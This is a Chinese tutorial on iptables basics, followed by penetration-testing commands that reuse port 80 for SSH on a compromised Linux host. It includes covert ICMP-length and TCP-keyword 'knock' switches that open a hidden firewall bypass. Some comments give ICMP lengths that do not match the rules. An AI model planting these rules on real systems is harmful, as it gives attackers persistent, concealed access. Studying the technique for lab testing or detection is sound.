Linux 利用 iptables 做端口複用

iptables 基礎

我們自定義的所有規則,都是這四種分類中的規則,或者說,所有規則都存在於這 4 張” 表” 中

#1** 主動**

包含 4 個表:4 個表的優先級由高到低:raw-->mangle-->nat-->filter

**#1.1 **raw

RAW 表只使用在 PREROUTING 鏈和 OUTPUT 鏈上, 因爲優先級最高,從而可以對收到的數據包在連接跟蹤前進行處理。一但用戶使用了 RAW 表, 在某個鏈上, RAW 表處理完後, 將跳過 NAT 表和 ip_conntrack 處理, 即不再做地址轉換和數據包的鏈接跟蹤處理了

****#1.2 mangle

此規則表擁有 prerouting、FORWARD、postrouting 三個規則鏈,除了進行網址轉譯工作會改寫封包外,在某些特殊應用可能也必須去改寫封包 (ITL、TOS) 或者是設定 MARK(將封包作記號,以進行後續的過濾)這時就必須將這些工作定義在 mangles 規則表中

****#1.3 nat

此規則表擁有 prerouting 和 postrouting 兩個規則鏈, 主要功能爲進行一對一、一對多、多對多等網址轉譯工作(SNATDNAT)

****#1.4 filter

這個規則表是預設規則表,擁有 INPUT、FORWARD 和 OUTPUT 三個規則鏈; 負責過濾功能,防火牆;內核模塊:iptables_filter

#2** 常用命令和參數**

舉例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22
常用命令:-A 追加規則-->iptables -A INPUT
-D 刪除規則-->iptables -D INPUT 1(編號)
-R 修改規則-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代現行規則,順序不變(1是位置)
-I 插入規則-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一條規則,原本位置上的規則將會往後移動一個順位
-L 查看規則-->iptables -L INPUT 列出規則鏈中的所有規則
-N 新的規則-->iptables -N allowed 定義新的規則
-t 指定nat就看nat表信息,不用-t 默認filter表
-n 使輸出中的IP地址和端口以數值的形式顯示
-V 輸出詳細化
--line 顯示出每條規則在相應鏈中的序號
通用參數:-p 協議  例:iptables -A INPUT -p tcp
-s源地址 例:iptables -A INPUT -s 192.168.1.1
-d目的地址 例:iptables -A INPUT -d 192.168.12.1
-sport源端口 例:iptables -A INPUT -p tcp --sport 22
-dport目的端口 例:iptables -A INPUT -p tcp --dport 22
-i指定入口網卡 例:iptables -A INPUT -i eth0
-o指定出口網卡 例:iptables -A FORWARD -o eth0

#2.1 舉例

iptables -t nat -nL --line

註釋:

PREROUTING 鏈:PREROUTING 鏈的作用是在包剛剛到達防火牆時改變它的目的地址,是從外部連接過來時的轉發

OUTPUT 鏈:OUTPUT 鏈改變本地產生的包的目的地址,是本機連接時的轉發

POSTROUTING 鏈:POSTROUTING 鏈在包就要離開防火牆之前改變其源地址

利用情況

在做滲透測試的過程中,我們經常會遇到下面這種問題:

目標主機是 Linux 系統,目標主機防火牆有嚴格的限制,只允許 80 端口的流量進入。我們拿到了目標主機的 Webshell 並且拿到了 SSH 的賬號密碼,但因爲防火牆限制不能連接 22 端口,這時就需要利用 80 端口做端口複用連接。

現在我們的思路就是利用 Linux 的 iptables 防火牆的 nat 表的 PREROUTING 鏈做端口複用,因爲 nat 表的 PREROUTING 鏈會在路由決策之前被處理

實際利用

Kali:192.168.152.250

目標機:192.168.152.135

#1****根據源地址做端口複用

#1****.1**** **目標機執行以下命令**

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //將192.168.152.250訪問80端口的流量都重定向到22端口
iptables -t nat -nvL //查看規則

#1****.2**********kali 上執行命令******

ssh -p 80 root@192.168.152.135

#1********.3 缺點

訪問目標主機 80 端口的流量都會被轉給 22 端口,所以 HTTP 服務無法訪問

#2****根據源地址做端口複用

#2****.1**** **目標機執行以下命令**

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定來自192.168.152.250主機的5555端口訪問80端口的流量纔會被轉給22端口 
iptables -t nat -nvL

#2**.2********kali 上執行命令**

用 socat 將本地 4444 端口的流量以源端口 5555 訪問 192.168.152.135:80,然後 SSH 本地的 4444 端口即可

nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr

ssh -p 4444 root@127.0.0.1

#2********.3 缺點

不支持多連接 如果想創建兩個 SSH 連接就會出錯,因爲本地的 5555 端口已經被第一個 SSH 連接佔用了

#3****利用 ICMP 協議做遙控開關

#3.1 創建端口複用鏈及規則

iptables -t nat -N LETMEIN //創建端口複用鏈 
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口複用規則,將流量轉發至 22 端口 
iptables -t nat -nvL

#3.2 創建開關

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //開啓開關,如果接收到一個長爲 1139 的 ICMP 包,則將來源 IP 添加到加爲letmein的列表中 
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個長爲 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉 
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處於 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間爲 3600

#3.3kali 上執行命**令**

開啓複用

ping -c 1 -s 1000 192.168.152.135 //向目標發送一個長度爲 1000 的 ICMP 數據包(加上包頭28,總長度實際爲1028,對應上上面設置的開啓長度1028)

關閉複用

ping -c 1 -s 1001 192.168.152.135 //向目標發送一個長度爲 1001 的 ICMP 數據包(加上包頭28,總長度實際爲1029,對應上上面設置的關閉長度1029)

#3****.4**** **缺點******

如果目標在內網,你是無法直接 ping 到它的

**********#4 **********利用 TCP 協議做遙控開關

利用 tcp 數據包中的關鍵字做遙控開關,不怕目標在內網

#4.1******** ****創建端口複用鏈及規則****

iptables -t nat -N LETMEIN //創建端口複用鏈
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口複用規則,將流量轉發至 22 端口 
iptables -t nat -nvL

#4.2****** **創建開關****

iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //開啓開關,如果接收到一個含有 go 的TCP包,則將來源 IP 添加到加爲letmein的列表中 
iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個含有 out 的TCP包,則將來源 IP 從letmein的列表中移除 
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處於 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間爲 3600

#4.3kali 上執行命令

開啓複用

echo go | socat - tcp:192.168.152.135:80

關閉複用

echo out | socat - tcp:192.168.152.135:80

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/Ri1poaoc2Vkr8JyWQDzA3w